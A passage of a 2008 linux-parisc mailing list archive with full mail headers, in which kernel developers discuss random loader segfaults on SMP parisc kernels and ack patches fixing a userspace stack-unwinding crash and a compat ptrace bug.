        for <linux-parisc@vger.kernel.org>; Tue, 25 Nov 2008 05:33:25 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=vdI8oiRWc5kUwc5cBus8tRyoDzVEaXCJXd0aGkjFUls=;
        b=CrSXSeyc6IJK2eaxBq4HFBoM2dC3kxD3D7aYWCfV9QcJaVRJ4XfYQhys3kFr54pINZ
         N9NiCHMKdAb54A/RhkyKtP6pESor4OdOs9g5/UHDOYnoZ3qPBx9sL59xC4UVhu0Lgvme
         QpL4jzjyTrf+2PDPzblFeglQMlR4AGzT90YZA=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=aPsNx6Gpb6ahMuZ76Zmrrrl3yVi9g33U4oYT3RtnwyvIO/FRdN0v8MhujM39Zymi1r
         Q4bVsJ2lihtfJCcXxJSglVNqBnVaOxhiRcWhriQlEXf0Kl7yq0fD5sQxJg44Y5iCkZXW
         JwGBw04tObXd2zCIN40S6+F6mT3fAs5CxJ2YM=
Original-Received: by 10.142.240.9 with SMTP id n9mr2133074wfh.303.1227620005063;
        Tue, 25 Nov 2008 05:33:25 -0800 (PST)
Original-Received: by 10.143.43.12 with HTTP; Tue, 25 Nov 2008 05:33:24 -0800 (PST)
In-Reply-To: <20081125025421.9745A4FB6@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Google-Sender-Auth: 878ed7d889e3d6aa
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:875
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/875>

On Mon, Nov 24, 2008 at 9:54 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
> The segv looks to be in _dl_fixup at 0xf3b8 in /lib/ld.so.1.

The dynamic loader is sensitive to VM bugs, as are several of the
glibc tests. Too bad you probably can't run the glibc testsuite on
this kernel.

Given your earlier comments it would seen the segfault is not
reproducible and happens often and randomly?

The _dl_fixup routine is very complicated, and eventually responsible
for mapping in a new shared library. This could tickle any number of
VM bugs.

The only way I know how to solve this class of problem is to start
bisecting the kernel until it works again and determine what commit
made the stability worse.

$0.02.

I'm still organizing the new house Kristine and I are renting, and my
rack is only partly cabled up at this point. I'll try to get on that
ASAP so I can also have a look at the latest kernel.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Tue, 25 Nov 2008 09:07:42 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <119aab440811250607h5c2afd5cmf72914c3fe125077@mail.gmail.com>
References: <20081123165718.0D5A94DCB@hiauly1.hia.nrc.ca>
	 <20081125025421.9745A4FB6@hiauly1.hia.nrc.ca>
	 <119aab440811250533y1a09a396i318dfc057ad0d659@mail.gmail.com>
	 <20081125145850.1a5ddf23.gmsoft@tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1227622075 5120 80.91.229.12 (25 Nov 2008 14:07:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 25 Nov 2008 14:07:55 +0000 (UTC)
Cc: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
	grundler@parisc-linux.org, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: "Guy Martin" <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 25 15:08:57 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L4yb2-0007JH-Nn
	for glpp-linux-parisc@gmane.org; Tue, 25 Nov 2008 15:08:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750745AbYKYOHo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 25 Nov 2008 09:07:44 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752159AbYKYOHo
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 25 Nov 2008 09:07:44 -0500
Original-Received: from wf-out-1314.google.com ([209.85.200.169]:47737 "EHLO
	wf-out-1314.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750745AbYKYOHn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 25 Nov 2008 09:07:43 -0500
Original-Received: by wf-out-1314.google.com with SMTP id 27so2790034wfd.4
        for <linux-parisc@vger.kernel.org>; Tue, 25 Nov 2008 06:07:43 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=zNR2uUMgJ3cKgAjJ3MKhai/4oHr8UAFUxlNAwHGzY8o=;
        b=aVnqXgy6+eDJT9uYuStAjgOk3QF6bnS0ZnP1h5bebzEO5w56Dq5GkMxxOt9tIPjPco
         +DjtBC5AIR8JHN5ebFM0mDXmCh3NNU0UkcndYDz0TtJN3IpnclYR4vnISeZlnnwQwDe2
         KbiVkRth21zcrcimJVvJ4xyQTcoKofvqyCU+o=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=WRLfbTWmM88lsMCbc9GluQnIleAJh72jOthp5AhkK94coKnbrfoPmH1IfgkbVC/Xmu
         3X+QVP54ii7duoTYOBkmxym+/wfQZ4sjrAzZ37DffK7l2nmJ6xNBfHKGQaHxo9PaqjUU
         4Q5gp87n/2LpPzCWa7qO8kRvmWtwzghan0sAM=
Original-Received: by 10.142.58.5 with SMTP id g5mr2148922wfa.170.1227622063185;
        Tue, 25 Nov 2008 06:07:43 -0800 (PST)
Original-Received: by 10.143.43.12 with HTTP; Tue, 25 Nov 2008 06:07:42 -0800 (PST)
In-Reply-To: <20081125145850.1a5ddf23.gmsoft@tuxicoman.be>
Content-Disposition: inline
X-Google-Sender-Auth: 584d44ace88438f8
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:876
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/876>

On Tue, Nov 25, 2008 at 8:58 AM, Guy Martin <gmsoft@tuxicoman.be> wrote:
> It has been happening to me as far back as 2.6.25 IIRC.
> It occurs only on SMP kernels and on various models (K410, L2000).
>
> I've tried to bissect that as well but kernel before 2.6.25 aren't really useable SMP due to the global irq bug or so.
>
> To me that is a bug that as always been there. It is random but some builds almost always fail. Not always at the same place tho.

Can you build glibc, run the testsuite, and see if anything fails
semi-consistently?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Tue, 25 Nov 2008 14:58:50 +0100
Lines: 58
Approved: news@gmane.org
Message-ID: <20081125145850.1a5ddf23.gmsoft@tuxicoman.be>
References: <20081123165718.0D5A94DCB@hiauly1.hia.nrc.ca>
	<20081125025421.9745A4FB6@hiauly1.hia.nrc.ca>
	<119aab440811250533y1a09a396i318dfc057ad0d659@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1227623331 9876 80.91.229.12 (25 Nov 2008 14:28:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 25 Nov 2008 14:28:51 +0000 (UTC)
Cc: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
	grundler@parisc-linux.org, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 25 15:29:53 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L4yvG-0004Xj-Mr
	for glpp-linux-parisc@gmane.org; Tue, 25 Nov 2008 15:29:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750894AbYKYO2j (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 25 Nov 2008 09:28:39 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750976AbYKYO2j
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 25 Nov 2008 09:28:39 -0500
Original-Received: from cable-85.28.88.25.coditel.net ([85.28.88.25]:39421 "EHLO
	ibiza.bxl.tuxicoman.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750894AbYKYO2i (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 25 Nov 2008 09:28:38 -0500
X-Greylist: delayed 1741 seconds by postgrey-1.27 at vger.kernel.org; Tue, 25 Nov 2008 09:28:38 EST
Original-Received: from [172.22.0.4] (helo=localhost)
	by ibiza.bxl.tuxicoman.be with esmtps (TLSv1:AES256-SHA:256)
	(Exim 4.69)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1L4yRf-0006qS-0R; Tue, 25 Nov 2008 14:59:19 +0100
In-Reply-To: <119aab440811250533y1a09a396i318dfc057ad0d659@mail.gmail.com>
X-Mailer: Sylpheed 2.5.0 (GTK+ 2.12.11; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:877
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/877>


Hi Carlos,

It has been happening to me as far back as 2.6.25 IIRC.
It occurs only on SMP kernels and on various models (K410, L2000).

I've tried to bissect that as well but kernel before 2.6.25 aren't really useable SMP due to the global irq bug or so.

To me that is a bug that as always been there. It is random but some builds almost always fail. Not always at the same place tho.

Cheers,
  Guy

On Tue, 25 Nov 2008 08:33:24 -0500
"Carlos O'Donell" <carlos@systemhalted.org> wrote:

> On Mon, Nov 24, 2008 at 9:54 PM, John David Anglin
> <dave@hiauly1.hia.nrc.ca> wrote:
> > The segv looks to be in _dl_fixup at 0xf3b8 in /lib/ld.so.1.
> 
> The dynamic loader is sensitive to VM bugs, as are several of the
> glibc tests. Too bad you probably can't run the glibc testsuite on
> this kernel.
> 
> Given your earlier comments it would seen the segfault is not
> reproducible and happens often and randomly?
> 
> The _dl_fixup routine is very complicated, and eventually responsible
> for mapping in a new shared library. This could tickle any number of
> VM bugs.
> 
> The only way I know how to solve this class of problem is to start
> bisecting the kernel until it works again and determine what commit
> made the stability worse.
> 
> $0.02.
> 
> I'm still organizing the new house Kristine and I are renting, and my
> rack is only partly cabled up at this point. I'll try to get on that
> ASAP so I can also have a look at the latest kernel.
> 
> Cheers,
> Carlos.
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html


-- 
Guy Martin
Gentoo Linux - HPPA port lead

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix kernel crash when unwinding a userspace
	process
Date: Tue, 25 Nov 2008 12:03:56 -0500
Lines: 37
Approved: news@gmane.org
Message-ID: <20081125170356.GB30056@bombadil.infradead.org>
References: <200811202258.56561.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1227632709 14295 80.91.229.12 (25 Nov 2008 17:05:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 25 Nov 2008 17:05:09 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	Kyle Mc Martin <kyle@hera.kernel.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Randolph Chung <randolph@tausq.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 25 18:06:12 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L51La-0005pr-MZ
	for glpp-linux-parisc@gmane.org; Tue, 25 Nov 2008 18:05:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752168AbYKYRD6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 25 Nov 2008 12:03:58 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752388AbYKYRD6
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 25 Nov 2008 12:03:58 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:40862 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752168AbYKYRD5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 25 Nov 2008 12:03:57 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1L51KO-0006Ck-10; Tue, 25 Nov 2008 17:03:56 +0000
Content-Disposition: inline
In-Reply-To: <200811202258.56561.deller@gmx.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:878
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/878>

On Thu, Nov 20, 2008 at 10:58:56PM +0100, Helge Deller wrote:
> Any user on existing parisc 32- and 64bit-kernels can easily crash
> the kernel and as such enforce a DSO.
> A simple testcase is available here: 
> 	http://gsyprf10.external.hp.com/~deller/crash.tgz
> 
> The problem is introduced by the fact, that the handle_interruption()
> crash handler calls the show_regs() function, which in turn tries
> to unwind the stack by calling parisc_show_stack().
> Since the stack contains userspace addresses, a try to unwind 
> the stack is dangerous and useless and leads to the crash.
> 
> The fix is trivial: For userspace processes
> a) avoid to unwind the stack, and
> b) avoid to resolve userspace addresses to kernel symbol names.
> 
> While touching this code, I converted print_symbol() to %pS 
> printk formats and made parisc_show_stack() static.
> 
> An initial patch for this was written by Kyle McMartin back in August:
> http://marc.info/?l=linux-parisc&m=121805168830283&w=2
> 
> Compile and run-tested with a 64bit parisc kernel.
> Patches for -stable series will follow shortly.
> 
> Signed-off-by: Helge Deller <deller@gmx.de>
> 

Sorry, I've been sick for the last few days. I see this has already been
applied, cool.

Anyway, acked-by me.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: fix bug in compat_arch_ptrace
Date: Tue, 25 Nov 2008 12:04:41 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <20081125170441.GC30056@bombadil.infradead.org>
References: <200811201054.09930.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1227632723 14360 80.91.229.12 (25 Nov 2008 17:05:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 25 Nov 2008 17:05:23 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, akpm@linux-foundation.org,
	torvalds@linux-foundation.org,
	Kyle Mc Martin <kyle@hera.kernel.org>,
	linux-parisc@vger.kernel.org, Christoph Hellwig <hch@lst.de>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 25 18:06:27 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L51MK-0005pr-86
	for glpp-linux-parisc@gmane.org; Tue, 25 Nov 2008 18:05:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753732AbYKYREn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 25 Nov 2008 12:04:43 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752394AbYKYREn
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 25 Nov 2008 12:04:43 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:40946 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752547AbYKYREm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 25 Nov 2008 12:04:42 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1L51L7-00081v-VE; Tue, 25 Nov 2008 17:04:41 +0000
Content-Disposition: inline
In-Reply-To: <200811201054.09930.deller@gmx.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:879 gmane.linux.kernel:761868
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/879>

On Thu, Nov 20, 2008 at 10:54:09AM +0100, Helge Deller wrote:
> This commit in 2.6.28-rc:
> 	81e192d6ce303b6792aa38ff35f41a1a7357f23a
> 	parisc: convert to generic compat_sys_ptrace
> 
> introduced a bug which segfaults the parisc 64bit kernel 
> when stracing 32bit applications:
> 

Thanks, looks fine.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix kernel crash when unwinding a userspace
	process (v2)
Date: Tue, 25 Nov 2008 12:20:00 -0500
Lines: 10
Approved: news@gmane.org
Message-ID: <20081125172000.GD30056@bombadil.infradead.org>
References: <200811202258.56561.deller@gmx.de> <200811211516.50750.deller@gmx.de> <20081121111705.dc03a465.akpm@linux-foundation.org> <49272F66.1010702@gmx.de> <20081121142013.f8d59b3f.akpm@linux-foundation.org> <20081122055301.GA12724@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1227633620 17829 80.91.229.12 (25 Nov 2008 17:20:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 25 Nov 2008 17:20:20 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	kyle@hera.kernel.org, randolph@tausq.org, stable@kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 25 18:21:23 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L51bG-0004cr-MU
	for glpp-linux-parisc@gmane.org; Tue, 25 Nov 2008 18:21:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751364AbYKYRUK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 25 Nov 2008 12:20:10 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752078AbYKYRUK
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 25 Nov 2008 12:20:10 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:43045 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751364AbYKYRUJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 25 Nov 2008 12:20:09 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1L51Zw-0002JC-Mk; Tue, 25 Nov 2008 17:20:00 +0000
Content-Disposition: inline
In-Reply-To: <20081122055301.GA12724@colo.lackof.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:880
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/880>

On Fri, Nov 21, 2008 at 10:53:01PM -0700, Grant Grundler wrote:
> And Helge has been great about fixing stuff - much better than the three
> listed maintainers lately.

You have an awful lot of nerve saying this, considering.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix kernel crash when unwinding a userspace
	process (v2)
Date: Tue, 25 Nov 2008 19:47:56 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <20081126024756.GC27315@colo.lackof.org>
References: <200811202258.56561.deller@gmx.de> <200811211516.50750.deller@gmx.de> <20081121111705.dc03a465.akpm@linux-foundation.org> <49272F66.1010702@gmx.de> <20081121142013.f8d59b3f.akpm@linux-foundation.org> <20081122055301.GA12724@colo.lackof.org> <20081125172000.GD30056@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1227667708 4430 80.91.229.12 (26 Nov 2008 02:48:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 26 Nov 2008 02:48:28 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	kyle@hera.kernel.org, randolph@tausq.org, stable@kernel.org
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 26 03:49:31 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L5AT2-0008Q2-26
	for glpp-linux-parisc@gmane.org; Wed, 26 Nov 2008 03:49:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753081AbYKZCsL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 25 Nov 2008 21:48:11 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753157AbYKZCsK
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 25 Nov 2008 21:48:10 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:47803 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753048AbYKZCsI (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 25 Nov 2008 21:48:08 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id D737229C090;
	Tue, 25 Nov 2008 19:48:06 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07641-06; Tue, 25 Nov 2008 19:47:56 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 5168E29C08D; Tue, 25 Nov 2008 19:47:56 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20081125172000.GD30056@bombadil.infradead.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:881
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/881>

On Tue, Nov 25, 2008 at 12:20:00PM -0500, Kyle McMartin wrote:
> On Fri, Nov 21, 2008 at 10:53:01PM -0700, Grant Grundler wrote:
> > And Helge has been great about fixing stuff - much better than the three
> > listed maintainers lately.
> 
> You have an awful lot of nerve saying this, considering.

Kyle,
For parisc specific files, I've seen more patches from Helge on
linux-parisc than anyone else. That's all I meant.  I know I've
contributed zero parisc patches in a long time.
I'm not out to offend anyone or pick on you specifically.

I routinely review other people's parisc patches, occasionally try to
narrow down the latest b0rkage, and will continue with the care and
feeding of the public access machines in Cupertino. The "code review"
is the only reason I feel like I should continue as a listed maintainer.

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix kernel crash when unwinding a userspace
	process (v2)
Date: Tue, 25 Nov 2008 21:59:01 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <20081126025901.GK30056@bombadil.infradead.org>
References: <200811202258.56561.deller@gmx.de> <200811211516.50750.deller@gmx.de> <20081121111705.dc03a465.akpm@linux-foundation.org> <49272F66.1010702@gmx.de> <20081121142013.f8d59b3f.akpm@linux-foundation.org> <20081122055301.GA12724@colo.lackof.org> <20081125172000.GD30056@bombadil.infradead.org> <20081126024756.GC27315@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1227668371 5980 80.91.229.12 (26 Nov 2008 02:59:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 26 Nov 2008 02:59:31 +0000 (UTC)
Cc: Kyle McMartin <kyle@infradead.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	kyle@hera.kernel.org, randolph@tausq.org, stable@kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 26 04:00:34 2008
